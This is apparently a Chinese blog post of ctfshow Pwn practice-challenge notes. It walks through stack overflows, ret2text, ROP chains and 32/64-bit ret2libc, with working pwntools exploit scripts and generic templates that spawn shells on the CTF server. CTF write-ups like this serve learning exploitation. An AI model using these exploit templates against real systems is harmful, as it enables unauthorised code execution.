ctfshow刷题笔记——Pwn部分

Test_your_nc

pwn0

本题是PWN入门 系列题目的第0个题目,让大家提前感受下pwn的学习气氛

在根目录下得到flag


pwn1

提供一个后门函数,连上即可得到flag

nc连接得到flag


pwn2

给你一个shell,这次需要你自己去获得flag

输入cat /ctfshow_flag获取flag


pwn3

哪一个函数才能读取flag?

考察函数的应用

You can call the following function:
1._start
2.main
3.hello_ctfshow
4.ctfshow('echo /ctfshow_flag')
5.print('/ctfshow_flag')
6.system('cat /ctfshow_flag')
7.puts('/ctfshow_flag')
8.exit
Your choice is :

选择system函数的6得到flag


pwn4

或许需要先得到某个神秘字符

分析代码,将输入的s2与s1进行比对,如果一样则获得权限

  strcpy(s1, "CTFshowPWN");
  logo();
  puts("find the secret !");
  __isoc99_scanf("%s", s2);
  if ( !strcmp(s1, s2) )
    execve_func();

静态分析得到s1的值,输入获得权限


栈溢出

pwn35

正式开始栈溢出了,先来一个最最最最简单的吧

检查保护情况,只开了代码执行保护

    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

查看主函数,首先这是一段对参数的检测(至少一个参数)。对argc解释一下,argc是我们启动函数时输入的参数的数量加1,因为程序默认有argc=1,且第一个参数为程序的名称即argv[0],此后我们输入的参数就为argv[1]。

if ( argc <= 1 )
  {
    puts("Try again!");
  }

当参数满足条件时,则会调用ctfshow这个函数,这个函数中strcpy将src的值赋给dest,但是未检测src的长度,造成此处的栈溢出漏洞

char *__cdecl ctfshow(char *src)
{
  char dest[104]; // [esp+Ch] [ebp-6Ch] BYREF

  return strcpy(dest, src);
}

在主函数中我们可以看到以下内容,stream内的内容存储在flag指针中

fgets(flag, 64, stream);

通过定位flag,我们可以发现sigsegv_handler( )函数中的内容,我们需要利用栈溢出将返回地址修改到此函数中,使得其能输出flag

void __noreturn sigsegv_handler()

{

  fprintf(stderr, "%s\n", flag);

  fflush(stderr);

  exit(1);

}

但是与一般的题型有些不同的是,这一题是用ssh连接。所以我们写一个exp来生成payload

from pwn import*

bin_sh_add=0x80485E6

payload=b'a'*(104+8)+p32(bin_sh_add)

print(payload)
# aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xe6\x85\x04\x08

得到flag


pwn36

存在后门函数,如何利用?

检查保护情况,一个都没开

    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX unknown - GNU_STACK missing
    PIE:      No PIE (0x8048000)
    Stack:    Executable
    RWX:      Has RWX segments

查看主函数,发现后门函数get_flag。主函数调用了ctfshow( ) 函数,发现危险函数get( ),可进行栈溢出

char *ctfshow()
{
  char s[36]; // [esp+0h] [ebp-28h] BYREF

  return gets(s);
}

思路为通过get( )进行栈溢出将返回地址更改为后门函数地址,开始编写exp

from pwn import*

io=remote("pwn.challenge.ctf.show",28266)

bin_sh_add=0x8048586

payload=b'a'*(36+8)+p64(bin_sh_add)

io.sendlineafter(b'Enter what you want:',payload)

io.interactive()
# ctfshow{793cda4e-b6e8-4ceb-a441-95bc1b2dfc32}

pwn37

32位的 system(“/bin/sh”) 后门函数给你

检查保护情况,只开了代码执行保护

    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

查看主函数,发现后门函数backdoor( ) 。查看主函数,先打印logo后调用ctfshow( )

int __cdecl main(int argc, const char **argv, const char **envp)
{
  init(&argc);
  logo();
  puts("Just very easy ret2text&&32bit");
  ctfshow();
  puts("\nExit");
  return 0;
}

ctfshow( )函数中返回时调用read函数从标准输入读取数据存放至buf缓冲区,但是读取长度大小超过了buf缓冲区的大小,造成了栈溢出。

ssize_t ctfshow()
{
  char buf[14]; // [esp+6h] [ebp-12h] BYREF

  return read(0, buf, 0x32u);
}

解题思路为通过栈溢出漏洞将返回地址更改为后门函数地址,编写exp(注意这里是32位程序)

from pwn import*

io=remote("pwn.challenge.ctf.show",28311)

bin_sh_add=0x8048521

payload=b'a'*(14+8)+p32(bin_sh_add)

io.sendlineafter(b"ret2text&&32bit",payload)

io.interactive()
# ctfshow{fa2e0559-383e-4a90-bd2c-0e7beff31a4e}

pwn38

64位的 system(“/bin/sh”) 后门函数给你

检查保护情况,发现只开了代码执行保护

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

查看主函数,发现后门函数backdoor( ) 。主函数中调用了ctfshow( )函数,和pwn37同理,read函数过量读导致栈溢出。

ssize_t ctfshow()
{
  char buf[10]; // [rsp+6h] [rbp-Ah] BYREF

  return read(0, buf, 0x32uLL);
}

解题思路为通过栈溢出漏洞将返回地址更改为后门函数地址,编写exp(注意这里是64位程序)。

from pwn import*

io=remote("pwn.challenge.ctf.show",28289)

bin_sh_add=0x400658

payload=b'a'*(10+8)+p64(bin_sh_add)

io.sendlineafter(b"ret2text&&64bit",payload)

io.interactive()
# ctfshow{ed4ab5e2-96b3-47b4-99d8-bfe8b021e2f5}

这里需要注意的是为了进行栈对齐, bin_sh_add 的地址我们选择的是 0x400658 (push指令后的第一个地址),而不是后门函数的地址 0x400657 。


pwn39

32位的 system(); "/bin/sh"

检查保护,只开了代码执行保护

    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

查看主函数,发现调用ctfshow( )函数,函数中read过量读存在栈溢出漏洞

ssize_t ctfshow()
{
  char buf[14]; // [esp+6h] [ebp-12h] BYREF

  return read(0, buf, 0x32u);
}

观察其他部分发现hint( )函数中存在system函数以及“/bin/sh”的字符串

int hint()
{
  puts("/bin/sh");
  return system("echo 'You find me?'");
}

解题思路为利用这两处来构造出system(“/bin/sh”)来获取shell


获得溢出长度

在GDB中用 cyclic 200 获得200个冗余字符

pwndbg> cyclic 200
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab

在使用r启动程序,将冗余字符填入程序,程序报错会返回一个地址

Invalid address 0x61676161

再使用 cyclic -l 命令即可获得溢出长度。

pwndbg> cyclic -l 0x61676161
Finding cyclic pattern of 4 bytes: b'aaga' (hex: 0x61616761)
Found at offset 22

也可以结合栈空间大小进行计算


寻找函数的地址

使用objdump命令来获取plt表中各个函数的地址,进而轻松拿到system函数的地址。

objdump -d -j .plt pwn

pwn:     file format elf32-i386

Disassembly of section .plt:

08048370 <.plt>:
 8048370:       ff 35 04 a0 04 08       push   0x804a004
 8048376:       ff 25 08 a0 04 08       jmp    *0x804a008
 804837c:       00 00                   add    %al,(%eax)
        ...

08048380 <read@plt>:
 8048380:       ff 25 0c a0 04 08       jmp    *0x804a00c
 8048386:       68 00 00 00 00          push   $0x0
 804838b:       e9 e0 ff ff ff          jmp    8048370 <.plt>

08048390 <puts@plt>:
 8048390:       ff 25 10 a0 04 08       jmp    *0x804a010
 8048396:       68 08 00 00 00          push   $0x8
 804839b:       e9 d0 ff ff ff          jmp    8048370 <.plt>

080483a0 <system@plt>:
 80483a0:       ff 25 14 a0 04 08       jmp    *0x804a014
 80483a6:       68 10 00 00 00          push   $0x10
 80483ab:       e9 c0 ff ff ff          jmp    8048370 <.plt>

080483b0 <__libc_start_main@plt>:
 80483b0:       ff 25 18 a0 04 08       jmp    *0x804a018
 80483b6:       68 18 00 00 00          push   $0x18
 80483bb:       e9 b0 ff ff ff          jmp    8048370 <.plt>

080483c0 <setvbuf@plt>:
 80483c0:       ff 25 1c a0 04 08       jmp    *0x804a01c
 80483c6:       68 20 00 00 00          push   $0x20
 80483cb:       e9 a0 ff ff ff          jmp    8048370 <.plt>

也可以直接在IDA中查看


编写exp

from pwn import*

context.log_level = "debug"
io=remote("pwn.challenge.ctf.show",28203)

bin_sh_add=0x8048750
system_plt=0x80483A0
call_system=0x804854F

# payload=b'a'*(14+8)+p32(system_plt)+p32(0)+p32(bin_sh_add)
payload=b'a'*(14+8)+p32(call_system)+p32(bin_sh_add)

io.sendlineafter(b"ret2text&&32bit",payload)

io.interactive()
# ctfshow{9d0d7f71-d700-4ea6-ba26-7255bc726832}

这里有两种思路 :

第一种是返回到 system@plt

第二种是调用 call system 指令,该指令后面可以直接跟参数。


pwn40

64位的 system(); "/bin/sh"

检查保护情况,只开了代码执行保护

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

查看主函数,大致情况与pwn39一样,不同点在于此题为64位程序。

32位是栈传参,而64位是寄存器传参+栈传参,传的前几个参数一般使用寄存器,把参数传到寄存器中即可,若参数过多寄存器有限,64位汇编会继续使用栈传参。


具体64位传参方式如下:

当参数少于7个时, 参数 ==从左到右== 放⼊寄存器:

==rdi --> rsi --> rdx --> rcx --> r8 --> r9==

当参数为7个及以上时, 前 6 个与前⾯⼀样, 但后⾯的依次 ==从右向左== 放⼊栈中,和32位汇编⼀样。


获取寄存器地址

由于需要传参所以我们还需要将参数pop到rdi中,使用ret再继续取栈中我们填入的恶意地址继续控制程序的执行流。(ret的作用为:pop eip/rip;)

使用ROPgadget可以查询到 pop rdi;ret 的地址

ROPgadget --binary pwn --only "pop|ret"
Gadgets information
============================================================
0x00000000004007dc : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004007de : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004007e0 : pop r14 ; pop r15 ; ret
0x00000000004007e2 : pop r15 ; ret
0x00000000004007db : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004007df : pop rbp ; pop r14 ; pop r15 ; ret
0x00000000004005b8 : pop rbp ; ret
0x00000000004007e3 : pop rdi ; ret
0x00000000004007e1 : pop rsi ; pop r15 ; ret
0x00000000004007dd : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004004fe : ret
0x000000000040069a : ret 0x2019

Unique gadgets found: 12

这里我们还需要记录ret的地址,因为在栈对齐的过程中需要用到。ret是为了64位的堆栈平衡,具体堆栈平衡的知识可以看一下两篇文章:

关于ubuntu18版本以上调用64位程序中的system函数的栈对齐问题 - ZikH26

关于pwn64位amd构造payload时的堆栈平衡问题以及32位与64位构造payload的区别与注意事项


堆栈平衡

64位ubuntu18以上系统调用system函数时是需要栈对齐,为使rsp对齐16字节,核心思想就是增加或减少栈内容,使rsp地址能相应的增加或减少8字节,这样就能够对齐16字节了。


这时候有两种解决方法。

1、将system函数地址+1,此处的+1,即是把地址+1,也可以理解为+1是为了跳过一条栈操作指令。我们的目的是跳过一条栈操作指令,使rsp十六字节对齐跳过这一条指令,自然就是把8变成0了。但又一个问题就是,本来+1是为了跳过一条栈操作指令,但是你也不知道下一条指令是不是栈操作指令,如果不是栈操作指令的话(可能正好是mov指令,也有可能一个指令是好几个字节,+1之后没有到下一个指令),就还需要继续+1,一直加到遇见一条栈操作指令为止。

2、调用system函数地址之前去调用一个ret指令。因为本来现在是没有对齐的,但是执行一条对栈操作指令(ret指令等同于pop rip,该指令使得rsp+8,从而完成rsp16字节对齐),这样system地址所在的栈地址就是0结尾,从而完成了栈对齐。


其他查询步骤大致与pwn39相同,开始编写exp

from pwn import*

context.log_level="debug"
io=remote("pwn.challenge.ctf.show",28196)

pop_rdi_ret=0x4007e3
ret_add=0x4004fe
system_plt=0x400520
bin_sh_add=0x400808

payload=b'a'*(10+8)+p64(pop_rdi_ret)+p64(bin_sh_add)+p64(ret_add)+p64(system_plt)

io.sendlineafter(b"ret2text&&64bit",payload)

io.interactive()
# ctfshow{491ac978-70d2-4ae2-b459-828942682834}

pwn41

32位的 system(); 但是没"/bin/sh" ,好像有其他的可以替代

检查保护情况

    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

查看关键函数

ssize_t ctfshow()
{
  char buf[14]; // [esp+6h] [ebp-12h] BYREF

  return read(0, buf, 0x32u);
}
int useful()
{
  return printf("sh");
}
int hint()
{
  system("echo flag");
  return 0;
}

可以发现useful函数中有 sh ,hint 函数中有 system 函数。利用这两个地方拼凑出 system("sh") ,需要注意的是 ebp 本身所占栈单元为4个字节,所以只需要在offset后加4。编写exp

from pwn import*

context.log_level = "debug"
io=remote("pwn.challenge.ctf.show",28170)

offset=0x12
sh_add=0x080487BA
plt_system_add=0x080483D0

payload= b'a'*( offset + 4 ) + p32(plt_system_add) + p32(0) + p32(sh_add)

io.sendline(payload)

io.interactive()
# ctfshow{24104628-dee1-428e-b653-632206746269}

pwn42

64位的 system(); 但是没"/bin/sh" ,好像有其他的可以替代

检查保护情况

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

思路与pwn41大致相同,不同的是本题是64位程序,需要先将参数传给寄存器。这里还需要注意,在调用system前需要先进行栈对齐

from pwn import*

context.log_level = "debug"
io=remote("pwn.challenge.ctf.show",28312)

offset=0x0A
sh_add=0x400872
plt_system_add=0x400560
pop_rdi_add=0x400843
ret_add=0x40053e

payload= b'a'*( offset + 8 ) + p64(pop_rdi_add) + p64(sh_add) + p64(ret_add) + p64(plt_system_add)

io.sendline(payload)

io.interactive()
# ctfshow{d6a84154-8a11-435d-aa3e-f4603702996a}

pwn43

32位的 system(); 但是好像没"/bin/sh" 上面的办法不行了,想想办法

检查保护

    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

查看关键函数,这里存在危险函数 gets( )

char *ctfshow()
{
  char s[104]; // [esp+Ch] [ebp-6Ch] BYREF

  return gets(s);
}

hint( ) 函数中,存在 system() 但是没有 /bin/sh

int hint()
{
  unsigned int v0; // eax
  int result; // eax
  int v2; // [esp+8h] [ebp-10h] BYREF
  int v3; // [esp+Ch] [ebp-Ch]

  v0 = time(0);
  srand(v0);
  v3 = rand();
  __isoc99_scanf("%d", &v2);
  result = v2;
  if ( v3 == v2 )
    return system("where is shell?");
  return result;
}

这里我们需要一个空间自己写 /bin/sh ,首先我们需要使用 gdb 内的 vmmap 查看每个内存段的权限信息

image-20241017225346542

可以看到在 0x804b0000x804c000w (写)权限,在这段地址范围上找到了一个 buf2 变量,我们可以利用这个缓冲区指针来存储输入的数据 ( /bin/sh )。所以,目前的解题思路为,先通过 gets() 处栈溢出更改范围地址到新的 get() 函数,其参数为写入数据的地址。调用 system() ,将 buf2 的地址作为参数填入。gets() 未接收数据接收数据时为闭塞状态,这时再写入 /bin/sh

payload部分过程如下:

image-20241018001628312

from pwn import *

context.log_level = 'debug'
io = remote('pwn.challenge.ctf.show', 28292)

offset = 0x6C
system_add = 0x8048450
buf2_add = 0x804B060
gets_add = 0x8048420

payload = b'a'*(offset +4) + p32(gets_add) + p32(system_add) + p32(buf2_add) + p32(buf2_add)
io.sendline(payload)
io.sendline("/bin/sh")

io.interactive()
# ctfshow{a63a1777-ae96-4d5a-8a00-5cf2098b259a}

pwn44

64位的 system(); 但是好像没"/bin/sh" 上面的办法不行了,想想办法

检查保护,只开启了代码执行保护

image-20241202233444282

ctfshow 函数中发现栈溢出

__int64 ctfshow()
{
  char v1[10]; // [rsp+6h] [rbp-Ah] BYREF

  return gets(v1);
}

hint 函数中发现 system

int hint()
{
  return system("no shell for you");
}

未能发现现成的 /bin/sh ,这里我首先想到的是利用 puts 来进行 ret2libc


64ret2libc

ret2libc的目的是劫持binary执行system('/bin/sh')。一般要借助溢出点进行两次劫持。

第一次劫持是为了泄露出某个函数地址,第二次劫持是为了控制binary返回到libc中执行system('/bin/sh')

第一次劫持需要构造两个条件:

  • 控制binary,为第二次劫持布局。
  • 寻找output函数和待泄露函数。

函数的真正地址计算公式如下:

==函数的真正地址 = Libc的基地址 + 偏移地址==


from pwn import *
from LibcSearcher import *

io = remote('',)
# io=process("")
elf = ELF('')
# libc= ELF(elf.libc.path)

ret_add = 
pop_rdi = 
main_add = 
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']

print("Puts_got: ",hex(puts_got))
print("Puts_plt: ",hex(puts_plt))

offset=

payload1 = b'a' * (offset+8) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_add)
io.sendlineafter(b'', payload1)
puts_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print("Puts_addr: ",hex(puts_addr))

libc = LibcSearcher('puts',puts_addr)

libc_base = puts_addr - libc.dump('puts')
system_add = libc_base + libc.dump('system')
bin_sh_add = libc_base + libc.dump('str_bin_sh')

# libc_base = puts_addr - libc.symbols['puts']
# system_add = libc_base + libc.symbols['system']
# bin_sh_add = libc_base + next(libc.search(b'/bin/sh'))

payload2 = b'a' * (offset+8) + p64(ret_add) + p64(pop_rdi) + p64(bin_sh_add) + p64(system_add)

io.sendlineafter(b'', payload2)

io.interactive()

查找相关寄存器地址,但是当我构造好exp后,发现了一个致命的问题,不知道为什么无法泄露出put函数的地址。这里便回去看了下pwn43,发现是在可写的bss段写入 /bin/sh

先在gdb中用vmmap查看内存段的权限信息,发现在0x602000到0x603000区段有可写权限

image-20241203004047193

在这个地址范围内找到了一个 buf2 参数,确定了写入位置

image-20241203004147280

大致思路是通过gets函数将 /bin/sh 写入 buf2 ,再调用system

from pwn import*

context(log_level = 'debug', arch = 'i386', os = 'linux')

# io=process("pwn")
io= remote("pwn.challenge.ctf.show",28177)

pop_rdi_ret = 0x00000000004007f3
buf2_add = 0x0000000000602080
gets_add = 0x0000000000400530
ret_add = 0x00000000004004fe
system_add = 0x0000000000400520

offset=0xA

payload = b'a'*(offset+8) + p64(pop_rdi_ret) + p64(buf2_add) + p64(ret_add) + p64(gets_add) + p64(pop_rdi_ret) + p64(buf2_add) + p64(ret_add) + p64(system_add)
io.recv()
io.sendline(payload)
io.sendline('/bin/sh')

io.interactive()

# ctfshow{aa2873eb-a787-4c6d-9b54-fd2837543fd2}

好像是可以打ret2libc的,来研究下为什么写的脚本出错了,这里要用到附加调试


附加调试

使用 gdb.attach 前需要对应的配置,未开启PIE和开启PIE有些许差别

gdb.attach(io,"b *0x40071D")
# gdb.attach(io,"b *$rebase(0x9B1)")
pause()

这样便可以进行附加调试了,这里要注意的是断点要下在有输入的地方后面断点

也可以用 gdb.debug( )进行调试

io=gdb.debug("pwn","b main")
# gdb.debug("pwn","b *0x40072C")

虽然远程打通了但是未能找到本地不能打通这个问题的根源,摸索途中想到的一些东西得明天才能下定论

from pwn import *
from LibcSearcher import *

# io = remote('pwn.challenge.ctf.show',28179)
io = process("./pwn")
# gdb.debug("pwn","b main")
# gdb.debug("pwn","b *0x40072C")
elf = ELF('./pwn')
# libc= ELF('libc.so.6')

# gdb.attach(io,"b *0x400736")
# pause()

ret_add = 0x00000000004004fe
pop_rdi = 0x00000000004007f3
main_add = 0x000000000040071D
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
gets_got = elf.got['gets']

print("Puts_got: ",hex(puts_got))
print("Puts_plt: ",hex(puts_plt))

offset=0x0A

payload1 = b'a' * (offset+8) + p64(pop_rdi) + p64(gets_got) + p64(puts_plt) + p64(main_add)
io.sendline(payload1)
puts_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print("Put_addr: ",hex(puts_addr))

libc = LibcSearcher('puts',puts_addr)   # libc6_2.35-0ubuntu3.8_amd64

libc_base = puts_addr - libc.dump('puts')
system_add = libc_base + libc.dump('system')
system_add = 0x0000000000400744
bin_sh_add = libc_base + libc.dump('str_bin_sh')

# # libc_base = puts_addr - libc.symbols['puts']
# # system_add = libc_base + libc.symbols['system']
# # bin_sh_add = libc_base + next(libc.search(b'/bin/sh'))

payload2 = b'a' * (offset+8)+ p64(pop_rdi) + p64(bin_sh_add) + p64(system_add)

io.sendline(payload2)

io.interactive()

pwn45

32位 无 system 无 "/bin/sh"

检查保护,只开了代码执行保护

image-20241204205357908

检查程序,发现溢出点

ssize_t ctfshow()
{
  char buf[103]; // [esp+Dh] [ebp-6Bh] BYREF

  return read(0, buf, 0xC8u);
}

这里查询函数地址,可以看到put@plt的地址已知,这里可以打32位的ret2libc

image-20241204205821895


32ret2libc

和64位的大差不大,主要区别在参数的传递和puts地址的接收上

from pwn import *
from LibcSearcher import *

io = remote('',)
# io = process("")
elf = ELF('')
# libc= ELF('libc.so.6')

main_add = 
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']

print("Puts_got: ",hex(puts_got))
print("Puts_plt: ",hex(puts_plt))

offset=

payload1 = b'a' * (offset+4) + p32(puts_plt) + p32(main_add) + p32(puts_got)
io.sendlineafter(b'', payload1)
puts_addr = u32(io.recvuntil(b'\xf7')[-4:])
print("Puts_addr: ",hex(puts_addr))

libc = LibcSearcher('puts',puts_addr)

libc_base = puts_addr - libc.dump('puts')
system_add = libc_base + libc.dump('system')
bin_sh_add = libc_base + libc.dump('str_bin_sh')

# libc_base = puts_addr - libc.symbols['puts']
# system_add = libc_base + libc.symbols['system']
# bin_sh_add = libc_base + next(libc.search(b'/bin/sh'))

payload2 = b'a' * (offset+4) + p32(system_add) + p32(0) + p32(bin_sh_add)
io.sendlineafter(b'', payload2)

io.interactive()

查找相应地址以及参数填入

from pwn import *
from LibcSearcher import *

io = remote('pwn.challenge.ctf.show',28158)
# io = process("./pwn")
elf = ELF('./pwn')
# libc= ELF(elf.libc.path)

main_add = 0x0804866D
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']

print("Puts_got: ",hex(puts_got))
print("Puts_plt: ",hex(puts_plt))

offset=0x6B

payload1 = b'a' * (offset+4) + p32(puts_plt) + p32(main_add) + p32(puts_got)
io.sendafter(b'O.o?', payload1)
puts_addr = u32(io.recvuntil(b'\xf7')[-4:])
print("Puts_addr: ",hex(puts_addr))

libc = LibcSearcher('puts',puts_addr)   # libc6-i386_2.27-3ubuntu1_amd64

libc_base = puts_addr - libc.dump('puts')
system_add = libc_base + libc.dump('system')
bin_sh_add = libc_base + libc.dump('str_bin_sh')

# libc_base = puts_addr - libc.symbols['puts']
# system_add = libc_base + libc.symbols['system']
# bin_sh_add = libc_base + next(libc.search(b'/bin/sh'))

payload2 = b'a' * (offset+4) + p32(system_add) + p32(0) + p32(bin_sh_add)

io.sendafter(b'O.o?', payload2)

io.interactive()

本地要先加载对应的libc

image-20241205235828605

ldd和patchelf命令

查看正确的的libc和ld对应的版本

ldd pwn
linux-gate.so.1 (0xf7f0e000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7cc9000)
/lib/ld-linux.so.2 (0xf7f10000)

修改libc

patchelf --replace-needed [原libc] [libc路径] [附件路径]

修改ld

patchelf --set-interpreter [ld路径] [附件路径]

或者可以直接不修改附件,直接在代码中加载对应的libc即可

libc= ELF(elf.libc.path)

这里推荐后者


pwn46

64位 无 system 无 "/bin/sh"

和上一题大差不差,是64位的ret2libc

from pwn import *
from LibcSearcher import *

io = remote('pwn.challenge.ctf.show',28236)
# io=process("./pwn")
elf = ELF('./pwn')
# libc= ELF(elf.libc.path)

ret_add = 0x00000000004004fe
pop_rdi = 0x0000000000400803
main_add = 0x000000000040073E
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']

print("Puts_got: ",hex(puts_got))
print("Puts_plt: ",hex(puts_plt))

offset=0x70

payload1 = b'a' * (offset+8) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_add)
io.sendlineafter(b'O.o?', payload1)
puts_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print("Puts_addr: ",hex(puts_addr))

libc = LibcSearcher('puts',puts_addr)   # libc6_2.27-0ubuntu2_amd64

libc_base = puts_addr - libc.dump('puts')
system_add = libc_base + libc.dump('system')
bin_sh_add = libc_base + libc.dump('str_bin_sh')

# libc_base = puts_addr - libc.symbols['puts']
# system_add = libc_base + libc.symbols['system']
# bin_sh_add = libc_base + next(libc.search(b'/bin/sh'))

payload2 = b'a' * (offset+8) + p64(ret_add) + p64(pop_rdi) + p64(bin_sh_add) + p64(system_add)

io.sendlineafter(b'O.o?', payload2)

io.interactive()

pwn47

ez ret2libc

检查保护,只开了代码执行保护,32位程序

image-20241206230209485

观察主函数,几个函数和 /bin/sh 的地址都告诉了,直接进入到ret2libc的第二部分,puts是我们的老朋友了,也是第一个那就选puts来查找libc,一样的找到system的地址以及用他告诉的 /bin/sh 的地址即可获得权限。

image-20241206232048791

这里要注意 puts 函数地址接收的代码编写,先接收到0x,再往后接收8位,以16进制存储,输出并进行比对检查。

io.recvuntil(b'puts: 0x')
puts_addr=int(io.recv(8),16)
print("Puts_addr: ",hex(puts_addr))

libc = LibcSearcher('puts',puts_addr)

libc_base = puts_addr - libc.dump('puts')
system_add = libc_base + libc.dump('system')
bin_sh_add = libc_base + libc.dump('str_bin_sh')

# libc_base = puts_addr - libc.symbols['puts']
# system_add = libc_base + libc.symbols['system']
# bin_sh_add = libc_base + next(libc.search(b'/bin/sh'))

offset=0x9C

payload = b'a' * (offset+4) + p32(system_add) + p32(0) + p32(bin_sh_add)
io.sendlineafter(b'time:', payload)

pwn48

没有write了,试试用puts吧,更简单了呢

检查保护,同样也只开了代码执行保护,32位程序,最最最常规的ret2libc

main_add = 0x0804863D
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']

print("Puts_got: ",hex(puts_got))
print("Puts_plt: ",hex(puts_plt))

offset=0x6B

payload1 = b'a' * (offset+4) + p32(puts_plt) + p32(main_add) + p32(puts_got)
io.sendlineafter(b'O.o?', payload1)
puts_addr = u32(io.recvuntil(b'\xf7')[-4:])
print("Puts_addr: ",hex(puts_addr))

libc = LibcSearcher('puts',puts_addr)   # libc6-i386_2.27-3ubuntu1_amd64

libc_base = puts_addr - libc.dump('puts')
system_add = libc_base + libc.dump('system')
bin_sh_add = libc_base + libc.dump('str_bin_sh')

# libc_base = puts_addr - libc.symbols['puts']
# system_add = libc_base + libc.symbols['system']
# bin_sh_add = libc_base + next(libc.search(b'/bin/sh'))

payload2 = b'a' * (offset+4) + p32(system_add) + p32(0) + p32(bin_sh_add)
io.sendlineafter(b'O.o?', payload2) 
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇